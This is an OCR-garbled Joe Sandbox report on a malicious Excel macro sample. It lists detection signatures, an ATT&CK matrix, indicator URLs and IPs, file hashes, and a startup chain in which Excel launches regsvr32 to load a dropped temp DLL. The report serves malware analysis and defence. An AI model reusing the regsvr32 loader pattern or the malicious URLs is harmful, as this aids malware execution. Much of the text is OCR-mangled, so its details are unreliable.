JOESandbox Cloud ™=

ID: 338158

Sample Name:
sample20210111-01.xIlsm
Cookbook:
defaultwindowsofficecookbook.jbs
Time: 18:27:00

Date: 11/01/2021

Version: 31.0.0 Red Diamond



Table of Contents

Table of Contents
Analysis Report sample20210111-01.xIsm

Overview
General Information
Detection
Signatures
Classification
Startup
Malware Configuration
Yara Overview

Sigma Overview
System Summary:
Signature Overview
AV Detection:
Software Vulnerabilities:
System Summary:
Mitre Att&ck Matrix
Behavior Graph

Screenshots
Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection
Initial Sample
Dropped Files
Unpacked PE Files
Domains
URLs
Domains and IPs
Contacted Domains
URLs from Memory and Binaries
Contacted IPs

P 000w wu~N Nl Aol dlaonananad UFLN

Public
General Information 11
Simulations 12
Behavior and APIs 12
Joe Sandbox View / Context 12
IPs 12
Domains 14
ASN 16
JA3 Fingerprints 17
Dropped Files 17
Created / dropped Files 17
Static File Info 23
General 23
File Icon 23
Static OLE Info 23
General 3
OLE File "/opt/package/joesandbox/database/analysis/338158/sample/sample20210111-01.xlsm" 23
Indicators 23
Summary 23
Document Summary 24
Streams with VBA 24
VBA File Name: Modulel.bas, Stream Size: 3215 24
General 24
VBA Code Keywords 24
VBA Code 25
VBA File Name: Sheetl.cls, Stream Size: 1614 25
General 25
VBA Code Keywords 25

Copyright null 2021 Page 2 of 67



VBA Code 25

VBA File Name: ThisWorkbook.cls, Stream Size: 999 25
General 25
VBA Code Keywords 26
VBA Code 26
Streams 26
Stream Path: PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 554 26
General 26
Stream Path: PROJECTwm, File Type: data, Stream Size: 86 26
General 26
Stream Path: VBA/_VBA_PROJECT, File Type: data, Stream Size: 3574 26
General 26
Stream Path: VBA/__SRP_0, File Type: data, Stream Size: 2060 27
General 27
Stream Path: VBA/__SRP_1, File Type: data, Stream Size: 187 27
General 27
Stream Path: VBA/__SRP_2, File Type: data, Stream Size: 363 27
General 27
Stream Path: VBA/__SRP_3, File Type: data, Stream Size: 398 27
General 27
Stream Path: VBA/dir, File Type: data, Stream Size: 820 27
General 27
Macro 4.0 Code 28
OLE File "/opt/package/joesandbox/database/analysis/338158/sample/sample20210111-01.xlsm" 28
Indicators 28
Summary 28
Document Summary 28
Streams 28
Stream Path: \x1CompObj, File Type: data, Stream Size: 115 28
General 28
Stream Path: f, File Type: data, Stream Size: 178 28
General 29
Stream Path: i02/\Ax1CompObj, File Type: data, Stream Size: 110 29
General 29
Stream Path: i02/f, File Type: data, Stream Size: 40 29
General 29
Stream Path: i02/0, File Type: empty, Stream Size: 0 29
General 29
Stream Path: i03/\Ax1CompObj, File Type: data, Stream Size: 110 29
General 29
Stream Path: i03/f, File Type: data, Stream Size: 40 29
General 30
Stream Path: i03/0, File Type: empty, Stream Size: 0 30
General 30
Stream Path: o, File Type: data, Stream Size: 152 30
General 30
Stream Path: x, File Type: data, Stream Size: 48 30
General 30
Macro 4.0 Code 30
Network Behavior 30
Network Port Distribution 30
TCP Packets 31
UDP Packets 31
DNS Queries 32
DNS Answers 32
Code Manipulations 32
Statistics 32
Behavior 32
System Behavior 32
Analysis Process: EXCEL.EXE PID: 2032 Parent PID: 584 32
General 32
File Activities 33
File Created 33

File Deleted 34

File Moved 35

File Written 35

File Read 58
Registry Activities 58
Key Created 59

Key Value Created 59

Key Value Modified 64
Analysis Process: regsvr32.exe PID: 2324 Parent PID: 2032 66
General 66
Analysis Process: DW20.EXE PID: 3032 Parent PID: 2032 66
General 66
Analysis Process: DWWIN.EXE PID: 2472 Parent PID: 3032 66
General 66
File Activities 67
Registry Activities 67

Copyright null 2021 Page 3 of 67



Disassembly 67
Code Analysis 67

Copyright null 2021 Page 4 of 67



Analysis Report sample20210111-01.xIlsm

Overview
General Information Detection Signatures Classification
Sample sample20210111-01.xIsm
Name: Multi AV Scanner detection for doma...
Analysis ID: 338158 MALICIOUS Multi AV Scanner detection for subm...
MD5: .
fa5350d4304c4c2. Sigma detected: BlueMashroom DLL...
SHA1L:
fc8a20962b8cf86.. Document contains an embedded VB...
SHA256: 0104974a7bf43e2. "
Document exploit detected (UrlDown...
Tags:
Most interesting Screenshot: Document exploit detected (process...
Found Excel 4.0 Macro with suspicio...

Sigma detected: Microsoft Office Pr...

Hidden Macro 4.0 Sigma detected: Regsvr32 Anomaly.
88

Score:

Creates a precess in suspended/mox..
Range: 0-100 Document containsianiembedded VB:..
Whitelisted:  false

Confid 100% Document containsiembedded VBA ...
onfidence: Q)

Startup

= System is w7x64
. EXCEL.EXE (PID: 2032 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
o [ regsvr32.exe (PID: 2324 cmdline: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\fhmhkjo.dll. MD5: 59BCE9F07985F8A4204F4D6554CFF708)
. DW20.EXE (PID: 3032 cmdline: 'C:\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE' -x -s 1948 MD5: 45A078B2967E0797360A2D4434C41DB4)
e [B] DWWIN.EXE (PID: 2472 cmdline: C:\Windows\system32\dwwin.exe -x -s 1948 MD5: 25247E3C4E7A7A73BAEEA6C0008952B1)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: BlueMashroom DLL Load

Signature Overview
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@ AV Detection

® Compliance

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

@ System Summary

@ Data Obfuscation

@ Hooking and other Techniques for Hiding and Protection
® Malware Analysis System Evasion

@ HIPS / PFW / Operating System Protection Evasion

@

AV Detection:

Click to jump to signature section

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Software Vulnerabilities:

System Summary: | |

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Valid Scripting Path Process Masquerading oS Query Registry Remote Data from  Exfiltration Encrypted Eavesdrop c
Accounts Interception  Injection Credential Services Local Over Other Channel Insecure
Dumping System Network Network
Medium Communical
Default Exploitation for Boot or Boot or Logon Virtualization/Sandbox LSASS Virtualization/Sandbox Remote Data from  Exfiltration Ingress Tool Exploit SS7
Accounts  Client Logon Initialization ~ Evasion Memory  Evasion Desktop Removable Over Transfer Redirect Phc
Execution Initialization  Scripts Protocol Media Bluetooth Calls/SMS
Scripts
Domain At (Linux) Logon Script Logon Script  Process Security Process Discovery SMB/Windows Data from Automated Non- Exploit SS7
Accounts (Windows)  (Windows) Injection Account Admin Shares Network Exfiltration Application Track Devict
Manager Shared Layer Location
Drive Protocol
Local At (Windows)  Logon Script Logon Script  Scripting NTDS Remote System Distributed Input Scheduled Application SIM Card
Accounts (Mac) (Mac) Discovery Component  Capture Transfer Layer Swap
Object Model Protocol
Cloud Cron Network Network Regsvr32 LSA File and Directory SSH Keylogging Data Fallback Manipulate
Accounts Logon Script Logon Script Secrets Discovery Transfer Channels Device
Size Limits Communical
Replication Launchd Rc.common Rc.common  Steganography Cached System Information ~ VNC GUI Input  Exfiltration  Multiband Jamming or
Through Domain Discovery Capture Over C2 Communication Denial of
Removable Credentials Channel Service
Media
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Behavior Graph

- - - - e

Screenshots

Thumbnails

Behavior Graph
D: 338158
Sample: sample20210111-0L.xism
Startdate: 11/01/2021

Architecture:  WINDOWS
Score: 88
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Created File

DNS/IP Info
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6:29 PM
141201 | |

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source Detection Scanner Label Link
cdn.digicertcdn.com 0% Virustotal Browse
URLs
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https://www.virustotal.com/gui/file/0104974a7bf43e2e31d25ae485f57c62efe89eaea2d3e520db8a76fa70dd956d/detection/f-0104974a7bf43e2e31d25ae485f57c62efe89eaea2d3e520db8a76fa70dd956d-1610376966
https://www.metadefender.com/#!/results/file/bzIxMDExMWdNT1BWUTA2a1dmOEhNVkFjZHM/regular/analysis
https://www.virustotal.com/gui/url/95dc347dd240bb72a7c35898a0f6b664166ee318fe6f1103531fb4cb02366670/detection/u-95dc347dd240bb72a7c35898a0f6b664166ee318fe6f1103531fb4cb02366670-1607561098
https://www.virustotal.com/gui/url/081179ac3c99ceb316ad602b8365ab19b6edf82b6180521a9eb1a96c5bb0d4fb/detection/u-081179ac3c99ceb316ad602b8365ab19b6edf82b6180521a9eb1a96c5bb0d4fb-1610363703

Source

hitp://crl.pkioverheid.nl/DomOvLatestCRL.crl0
hitp://crl.pkioverheid.nl/DomOvLatestCRL.crl0
hitp://crl.pkioverheid.nl/DomOvLatestCRL.crl0
hitp://crl.pkioverheid.nl/DomOvLatestCRL.crl0
hitp://iwww.icra.org/vocabulary/.

hitp://iwww.icra.org/vocabulary/.

hitp://iwww.icra.org/vocabulary/.

hitp://iwww.icra.org/vocabulary/.

hitp://ocsp.entrust.net03

hitp://ocsp.entrust.net03

hitp://ocsp.entrust.net03

hitp://ocsp.entrust.net03
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
hitpziwww.%s.comPA

hitpziwww.%s.comPA

hitpziwww.%s.comPA

hitpziwww.%s.comPA

hitp://\www.diginotar.nl/cps/pkioverheid0
hitp:/f\www.diginotar.nl/cps/pkioverheid0
hitp:/f\www.diginotar.nl/cps/pkioverheid0
hitp:/f\www.diginotar.nl/cps/pkioverheid0
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true
hitp://ocsp.entrust.netOD

hitp://ocsp.entrust.netOD

hitp://ocsp.entrust.netOD

hitp://ocsp.entrust.netOD

hitp://servername/isapibackend.dll

Domains and IPs

Contacted Domains

Name P

cdn.digicertcdn.com 104.18.10.

Active

39 true

Detection
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

Malicious

false

Scanner

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Antivirus Detection

e 0%, Virustotal, Browse

Label
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

Link

Reputation

unknown

URLs from Memory and Binaries

Name

hitp://services.msn.com/svcs/oe/certpage.asp?
name=%s&email=%s&&Check
hitp:/fiwww.windows.com/pctv.
hitp://investor.msn.com

hitp://www.msnbc.com/news/ticker.txt

hitp://crl.pkioverheid.nl/DomOvLatestCRL.crl0

hitp://iwww.icra.org/vocabulary/.
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Source

DWWIN.EXE, 00000005.00000002.2
238158063.0000000003417000.000
00002.00000001.sdmp

DWWIN.EXE, 00000005.00000002.2
237945619.0000000003230000.000
00002.00000001.sdmp

DWWIN.EXE, 00000005.00000002.2
237945619.0000000003230000.000
00002.00000001.sdmp

DWWIN.EXE, 00000005.00000002.2
237945619.0000000003230000.000
00002.00000001.sdmp

DWWIN.EXE, 00000005.00000003.2
231343971.0000000000213000.000
00004.00000001.sdmp

DWWIN.EXE, 00000005.00000002.2
238158063.0000000003417000.000
00002.00000001.sdmp

Malicious

false

false

false

false

false

false

Antivirus Detection

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

safe
safe
safe
safe

safe
safe
safe
safe

Reputation

high

high

high

high

unknown

unknown

Page 9 of 67


https://www.virustotal.com/gui/url/95dc347dd240bb72a7c35898a0f6b664166ee318fe6f1103531fb4cb02366670/detection/u-95dc347dd240bb72a7c35898a0f6b664166ee318fe6f1103531fb4cb02366670-1607561098
https://www.virustotal.com/gui/url/081179ac3c99ceb316ad602b8365ab19b6edf82b6180521a9eb1a96c5bb0d4fb/detection/u-081179ac3c99ceb316ad602b8365ab19b6edf82b6180521a9eb1a96c5bb0d4fb-1610363703

Name

http:/f

schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous

hitp://crl.entrust.net/serverl.crl0

hitp://ocsp.entrust.net03

hitp://investor.msn.com/

hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0

hitpiwww.%s.comPA

hitp://\www.diginotar.nl/cps/pkioverheid0

hitp://iwindowsmedia.com/redir/services.asp?

WMPFriendly=true

hitp:/fiwww.hotmail.com/oe

hitp://ocsp.entrust.netOD

hitp://https://secure.comodo.com/CPS0

hitp://servername/isapibackend.dll

hitp://crl.entrust.net/2048ca.crl0

Contacted IPs

Copyright null 2021

Source

DWWIN.EXE, 00000005.00000002.2
239715014.0000000003E10000.000
00002.00000001.sdmp

DWWIN.EXE, 00000005.00000003.2
231408116.0000000003621000.000
00004.00000001.sdmp

DWWIN.EXE, 00000005.00000003.2
231408116.0000000003621000.000
00004.00000001.sdmp

DWWIN.EXE, 00000005.00000002.2
237945619.0000000003230000.000
00002.00000001.sdmp

DWWIN.EXE, 00000005.00000003.2
231404153.0000000003618000.000
00004.00000001.sdmp

DWWIN.EXE, 00000005.00000002.2
239715014.0000000003E10000.000
00002.00000001.sdmp

DWWIN.EXE, 00000005.00000003.2
231343971.0000000000213000.000
00004.00000001.sdmp

DWWIN.EXE, 00000005.00000002.2
238158063.0000000003417000.000
00002.00000001.sdmp

DWWIN.EXE, 00000005.00000002.2
237945619.0000000003230000.000
00002.00000001.sdmp

DWWIN.EXE, 00000005.00000002.2
238579507.0000000003661000.000
00004.00000001.sdmp

DWWIN.EXE, 00000005.00000003.2
231343971.0000000000213000.000
00004.00000001.sdmp

regsvr32.exe, 00000003.0000000
2.2103191822.0000000001D10000.
00000002.00000001.sdmp, DWWIN.
EXE, 00000005.00000002.2236119
170.0000000002340000.00000002.
00000001.sdmp

DWWIN.EXE, 00000005.00000002.2
238579507.0000000003661000.000
00004.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e o o o

e o o o6 o o o 0o o o o o

e o o o

e o o o

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

Avira URL Cloud:

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

safe

Reputation

high

high

unknown

high

unknown

low

unknown

unknown

high

unknown

high

low

high
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] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public
P Domain
199.59.242.150 unknown

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:
Number of new started drivers analysed:

Number of existing processes analysed:

Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:

Classification:

Copyright null 2021

ASN Name Malicious

BODIS-NJUS true

31.0.0 Red Diamond

338158

11.01.2021

18:27:00

CloudBasic

Oh 5m 38s

false

light

sample20210111-01.xIsm
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

8

o O o o

e HCA enabled
e EGA enabled
e HDC enabled
e GSl enabled (VBA)
e AMSI enabled

default

Timeout

MAL
mal88.expl.evad.winXLSM@7/19@1/1
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EGA Information: Failed
HDC Information: Failed

HCA Information: e Successful, ratio: 100%
e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time
e Enable AMSI
Found application associated with file extension:
Xlsm
Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog
Click Ok
Found warning dialog
Click Ok
Found warning dialog
Click Ok
Attach to Office via COM
Close Viewer

Warnings: Show All

e Exclude process from analysis (whitelisted):
dllhost.exe, svchost.exe

e Excluded IPs from analysis (whitelisted):
13.88.21.125, 13.64.90.137, 104.18.10.39,
93.184.221.240

e Excluded domains from analysis (whitelisted):
skypedataprdcolwus17.cloudapp.net,
wu.ec.azureedge.net, cacerts.digicert.com,
ctldl.windowsupdate.com, wu.azureedge.net,
watson.microsoft.com,
blobcollector.events.data.trafficmanager.net,
audownload.windowsupdate.nsatc.net,
csll.wpc.vOcdn.net, hib.apr-52dd2-
0.edgecastdns.net, wu.wpc.apr-
52dd2.edgecastdns.net,
skypedataprdcolwus15.cloudapp.net, au-bg-
shim.trafficmanager.net

* Report size getting too big, too many NtCreateFile
calls found.

e Report size getting too big, too many
NtDeviceloControlFile calls found.

e Report size getting too big, too many
NtOpenKeyEx calls found.

e Report size getting too big, too many
NtQueryAttributesFile calls found.

e Report size getting too big, too many
NtQueryValueKey calls found.

e Report size getting too big, too many
NtReadVirtualMemory calls found.

e Report size getting too big, too many
NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time Type Description
18:28:06 API Interceptor 500x Sleep call for process: DWWIN.EXE modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name /| URL SHA 256 Detection Link Context

199.59.242.150 Get hash malicious Browse e undo.it/f
avicon.ico
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https://view.joesandbox.com/analysis/223086/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/223086/html/none?idtype=webid

Match Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e sec.timer
z.org/addr
ecord.php?
apikey=ab8
9_api_key&
compuser=c
omputer|us
er&sid=KKi
Fporlldnvi
8Sj&phase=
4F85366F80
624A21|864
01/24GB

Get hash malicious Browse gmn.timer
z.org/addr
ecord.php?
apikey=snt
2_api_key&
compuser=c
omputer|us
er&sid=yyy
3DVSKgMS7C
QxSé&phase=
0896C02011
BCDB3F|729
20|22GB

Get hash malicious Browse e ghb.timer
z.org/addr
ecord.php?
apikey=aw4
6_api_key&
compuser=c
omputer|us
er&sid=y3f
PLg7isdS74
dQX&phase=
20FE743FCD
18FAB6|753
61|22GB

Get hash malicious Browse e sec.timer
z.org/addr
ecord.php?
apikey=ab8
9_api_key&
compuser=c
omputer|us
er&sid=zOm
SMg7UwftUb
8zT&phase=
56567FFFCC
F9B369|867
89|24GB

free-toda
y.com/favi
con.ico

Get hash malicious Browse

Get hash malicious Browse e www.oklah
omapayday.
loan/hx271/

Get hash malicious Browse e animeonli
ne.net/rz?
u=http%3A%
2F%?2Fusa.b
ravo-dog.c
om%2Fzcvis
itor%2F929
abc76-3212-
11e8-91bc-
Oa8ca3fd4
Cc72%3Fcamp
aignid%3Df
6228670-4b89-
11e7-bld2-
Oeda985
eb958&nota
dsafe

Get hash malicious Browse e 199.59.24
2.150/favicon.ico

Get hash malicious Browse e datadrive
nsolution.com/?
kw=ft
z&p=2&rndx
=152140386
1663
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https://view.joesandbox.com/analysis/218876/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/218876/html/none?idtype=webid
https://view.joesandbox.com/analysis/218871/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/218871/html/none?idtype=webid
https://view.joesandbox.com/analysis/218870/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/218870/html/none?idtype=webid
https://view.joesandbox.com/analysis/218867/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/218867/html/none?idtype=webid
https://view.joesandbox.com/analysis/119746/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/119746/html/none?idtype=webid
https://view.joesandbox.com/analysis/118395/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/118395/html/none?idtype=webid
https://view.joesandbox.com/analysis/113665/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/113665/html/none?idtype=webid
https://view.joesandbox.com/analysis/113641/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/113641/html/none?idtype=webid
https://view.joesandbox.com/analysis/112764/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/112764/html/none?idtype=webid

Match

Domains

Match

cdn.digicertcdn.com

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse

Browse

Context

awskohg.w
ecloudapi.
com/cl/dow
nloader?ve
rsion=47.1
0.2526.80&
channel=ja
nuary&d=0&
userid=&sys=6.1

ufcna.com/glp?
r=&u=http://ufc
na.com/flux-
radar-Orly-D-
est-05.jpg&rw=1
280&rh=102
4&WW=784&w
h=490

Www.penns
ylvaniaaut
o.loan/hx187/?
9r=2Zp
MLO2nryXLT
bqctj2GuhH
0VJyGjH5qu
Sw7FLYH454
OQrtH6v4Yc
y4ArEoZBWijt
ue2zE2QIA6
21ynJn6JpR
d7A==&8pBX
n=3f3DUfw&
sql=1

ebookcent
er.ws.ir/
diversion.php?
id=Her
b%20Blackburn
www.pfwbn
.com/dm/?i
d=XISGJT3E
gbPKoaX7rl
8KuN74u7B4
1XTmCz7eDw
qqLFsPGp7q
IDpp0+n9XS
mpMmt+WES9
iXFYb8Eb/a
pyiXADIg==
&sql=1

caspianla
b.com/XRKJ
08m

caspianla
b.com/XRKJ
08m

caspianla
b.com/XRKJ
08m

dragqueen
wig.com/itukabk

Context

104.18.11.39
104.18.10.39
104.18.10.39
104.18.10.39
104.18.10.39

104.18.10.39
104.18.10.39
104.18.11.39
104.18.11.39
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https://view.joesandbox.com/analysis/110365/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/110365/html/none?idtype=webid
https://view.joesandbox.com/analysis/110053/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/110053/html/none?idtype=webid
https://view.joesandbox.com/analysis/109657/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/109657/html/none?idtype=webid
https://view.joesandbox.com/analysis/100750/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/100750/html/none?idtype=webid
https://view.joesandbox.com/analysis/98791/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/98791/html/none?idtype=webid
https://view.joesandbox.com/analysis/17138/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/17138/html/none?idtype=webid
https://view.joesandbox.com/analysis/17137/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/17137/html/none?idtype=webid
https://view.joesandbox.com/analysis/17136/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/17136/html/none?idtype=webid
https://view.joesandbox.com/analysis/9480/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/9480/html/none?idtype=webid
https://view.joesandbox.com/analysis/254021/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254021/html/none?idtype=webid
https://view.joesandbox.com/analysis/253992/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253992/html/none?idtype=webid
https://view.joesandbox.com/analysis/253984/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253984/html/none?idtype=webid
https://view.joesandbox.com/analysis/252221/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252221/html/none?idtype=webid
https://view.joesandbox.com/analysis/251670/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251670/html/none?idtype=webid
https://view.joesandbox.com/analysis/248989/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248989/html/none?idtype=webid
https://view.joesandbox.com/analysis/248256/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248256/html/none?idtype=webid
https://view.joesandbox.com/analysis/246835/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246835/html/none?idtype=webid
https://view.joesandbox.com/analysis/245489/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/245489/html/none?idtype=webid

Match Associated Sample Name /| URL SHA 256 Detection Link Context

Ge hash malicious Browse e 104.18.10.39
Ge hash malicious Browse e 104.18.11.39
Ge hash malicious Browse e 104.18.11.39
Ge hash malicious Browse e 104.18.11.39
Ge hash malicious Browse e 104.18.11.39
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https://view.joesandbox.com/analysis/244534/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244534/html/none?idtype=webid
https://view.joesandbox.com/analysis/244526/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244526/html/none?idtype=webid
https://view.joesandbox.com/analysis/244283/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244283/html/none?idtype=webid
https://view.joesandbox.com/analysis/243285/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243285/html/none?idtype=webid
https://view.joesandbox.com/analysis/243100/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243100/html/none?idtype=webid

Match

ASN

Match
BODIS-NJUS

Copyright null 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash
Get hash

-
.
hitp/;

Associated Sample Name /| URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

104.18.11.39

104.18.10.39

104.18.10.39

104.18.10.39

104.18.11.39
104.18.11.39

Context

199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
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https://view.joesandbox.com/analysis/243072/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243072/html/none?idtype=webid
https://view.joesandbox.com/analysis/243057/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/243057/html/none?idtype=webid
https://view.joesandbox.com/analysis/241454/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241454/html/none?idtype=webid
https://view.joesandbox.com/analysis/241205/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241205/html/none?idtype=webid
https://view.joesandbox.com/analysis/240897/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240897/html/none?idtype=webid
https://view.joesandbox.com/analysis/239995/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239995/html/none?idtype=webid
https://view.joesandbox.com/analysis/253980/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253980/html/none?idtype=webid
https://view.joesandbox.com/analysis/253927/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253927/html/none?idtype=webid
https://view.joesandbox.com/analysis/253872/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253872/html/none?idtype=webid
https://view.joesandbox.com/analysis/252967/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252967/html/none?idtype=webid
https://view.joesandbox.com/analysis/251075/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251075/html/none?idtype=webid
https://view.joesandbox.com/analysis/250853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250853/html/none?idtype=webid
https://view.joesandbox.com/analysis/250658/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250658/html/none?idtype=webid

Match Associated Sample Name /| URL SHA 256 Detection Link Context

[

p Get hash malicious Browse e 199.59.242.153

Get hash malicious Browse e 199.59.242.153
Get hash malicious Browse e 199.59.242.153
Get hash malicious Browse e 199.59.242.153
Get hash malicious Browse e 199.59.242.153
Get hash malicious Browse e 199.59.242.153
Get hash malicious Browse e 199.59.242.153
Get hash malicious Browse e 199.59.242.153
Get hash malicious Browse e 199.59.242.153
Get hash malicious Browse e 199.59.242.153
Get hash malicious Browse e 199.59.242.153
Get hash malicious Browse e 199.59.242.153
Get hash malicious Browse e 199.59.242.153

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC

Process: C:\Windows\System32\DWWIN.EXE

File Type: data

Category: dropped

Size (bytes): 914

Entropy (8bit):  7.367371959019618

Encrypted: false

SSDEEP: 24:c00GIGM7qGIGd7SK1tcudP5M/COVQYyLAR3fum:+JInJ17tcudRMg6QsF

MD5: E4AG8ACB54AC5242460AFD72481B2A44

SHA1L: DF3C24F9BFD666761B268073FE06D1CC8D4F82A4

SHA-256: CB3CCBB76031E5E0138F8DD39A23F9DE47FFC35E43C1144CEA27D46A5AB1CB5F
